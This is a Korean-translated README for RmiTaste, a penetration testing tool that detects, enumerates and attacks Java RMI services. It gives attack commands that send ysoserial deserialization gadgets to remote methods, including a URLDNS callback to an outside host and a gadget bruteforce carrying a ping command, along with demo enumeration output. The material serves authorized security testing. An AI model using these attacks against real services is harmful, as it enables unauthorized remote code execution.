
Java RMI 보안 테스트 도구로, ysoserial 역직렬화 가젯을 사용하여 안전하지 않은 RMI 서비스를 탐지, 열거 및 익스플로잇하여 원격 코드 실행을 달성합니다.
RmiTaste는 보안 전문가가 ysoserial의 gadget을 사용하여 원격 메서드를 호출함으로써 RMI 서비스를 탐지, 열거, 상호 작용 및 공격할 수 있게 해줍니다. 또한 특정 매개변수로 원격 메서드를 호출할 수도 있습니다.
RmiTaste는 사용자가 사전 승인을 받은 시스템에서 안전하지 않은 RMI 서비스를 식별하는 보안 전문가를 돕기 위해 작성되었습니다. 컴퓨터 시스템에 대한 무단 접근은 불법이며, RmiTaste는 모든 관련 법률을 준수하여 사용해야 합니다. 이를 위반할 경우 기소될 수 있습니다. RmiTaste의 개발자는 이 프로그램으로 인한 오용이나 피해에 대해 어떠한 책임도 지지 않으며, 책임이 없습니다.
openjdk 11.0.3이 필요합니다.
mvn package
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
__________ ._____________ __
\______ \ _____ |__\__ ___/____ _______/ |_ ____
| _// \| | | | \__ \ / ___/\ __\/ __ \
| | \ Y Y \ | | | / __ \_\___ \ | | \ ___/
|____|_ /__|_| /__| |____| (____ /____ > |__| \___ >
\/ \/ \/ \/ \/
@author Marcin Ogorzelski (mzero - @_mzer0) STM Solutions
Warning: RmiTaste was written to aid security professionals in identifying the
insecure use of RMI services on systems which the user has prior
permission to attack. RmiTaste must be used in accordance with all
relevant laws. Failure to do so could lead to your prosecution.
The developers assume no liability and are not responsible for any
misuse or damage caused by this program.
RmiTaste에는 conn, enum, attack 및 call의 4가지 모드가 있습니다. 각 모드에는 별도의 도움말이 있습니다.
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
(...)
Usage: <main class> [-h] [COMMAND]
-h, --help display this help message
Commands:
conn check connection to host
enum enumerate RMI service
attack attack RMI registry methods
call call specific method on RMI remote object
conn 모드는 포트가 RMI 서비스 포트인지 확인할 수 있게 해줍니다.
# 127.0.0.1:1099가 RMI 서비스인지 확인
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste conn -t 127.0.0.1 -p 1099
enum 모드는 RMI 서비스에 대한 정보(예: 원격 객체 이름과 원격 객체가 구현하거나 확장하는 클래스 이름)를 가져올 수 있게 해줍니다. 원격 객체가 구현한 인터페이스가 RmiTaste 클래스패스에 있는 경우 RmiTaste는 이 원격 객체에서 호출할 수 있는 모든 원격 메서드를 출력합니다.
# RMI 서비스 열거
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099
attack 모드는 ysoserial의 특정 gadget 체인을 사용하여 원격 메서드를 호출할 수 있게 해줍니다. 원격 객체에 다음 메서드가 있다고 가정합니다:
acc1 [object] [127.0.1.1:38293]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
setPin(java.lang.String param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
getBalance(); [method]
deposit(java.lang.Object param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
withdraw(float param0); [method]
# 모든 원격 메서드를 URLDNS gadget을 매개변수로 호출
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -g "URLDNS" -c "http://rce.mzero.pl"
# acc1:m0.rmitaste.example.server.ClientAccount:deposit 메서드를 URLDNS gadget을 매개변수로 호출
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -g "URLDNS" -c "http://rce.mzero.pl"
"-gen bruteforce" 옵션을 사용하면 ysoserial의 gadget을 사용하여 원격 메서드를 brute force할 수 있습니다. 이 예에서는 deposit 메서드가 ysoserial의 여러 gadget으로 여러 번 호출됩니다.
# acc1:m0.rmitaste.example.server.ClientAccount:deposit 메서드를 ysoserial의 gadget과 명령어 ping 127.0.0.1로 호출
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -gen bruteforce -c "ping 127.0.0.1"
call 모드는 RMI 원격 객체에서 특정 메서드를 호출할 수 있게 해줍니다. 원격 객체에 다음 메서드가 있다고 가정합니다:
acc1 [object] [127.0.1.1:38293]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
setPin(java.lang.String param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
getBalance(); [method]
deposit(java.lang.Object param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
withdraw(float param0); [method]
# acc1 원격 객체에서 m0.rmitaste.example.server.ClientAccount.getBalance 메서드 호출
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:getBalance"
# acc1 원격 객체에서 m0.rmitaste.example.server.ClientAccount.setPin("1234") 메서드 호출
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:setPin" -mp "string=1234"
데모 서버는 여기에서 확인할 수 있습니다.
데모 서버를 실행합니다.
대상 열거.
root@keyisinyourmind:/media/sf_pentest2/Tools/python/Toolset/Others/RmiTasteTool# java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099
acc1 [object] [127.0.1.1:42881]
extends java.rmi.server.RemoteObjectInvocationHandler [class]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
extends java.rmi.server.RemoteObject [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
No methods found. I don't have remote object interface. Give it to me!
acc2 [object] [127.0.1.1:42881]
extends java.rmi.server.RemoteObjectInvocationHandler [class]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
extends java.rmi.server.RemoteObject [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
No methods found. I don't have remote object interface. Give it to me!
보시다시피 RmiTaste는 원격 객체의 인터페이스가 필요합니다. 침투 테스트 중에는 이 인터페이스를 찾아야 합니다. 이 예제에서는 rmitaste.examples-1.0-SNAPSHOT-all.jar를 libs_attack 디렉토리에 복사하면 됩니다. 대상을 다시 열거합니다:
acc1 [object] [127.0.1.1:42881]
extends java.rmi.server.RemoteObjectInvocationHandler [class]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
extends java.rmi.server.RemoteObject [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
setPin(java.lang.String param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
getBalance(); [method]
deposit(java.lang.Object param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
withdraw(float param0); [method]
acc2 [object] [127.0.1.1:42881]
extends java.rmi.server.RemoteObjectInvocationHandler [class]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
extends java.rmi.server.RemoteObject [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
setPin(java.lang.String param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
getBalance(); [method]
deposit(java.lang.Object param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
withdraw(float param0); [method]
트위터: @_mzer0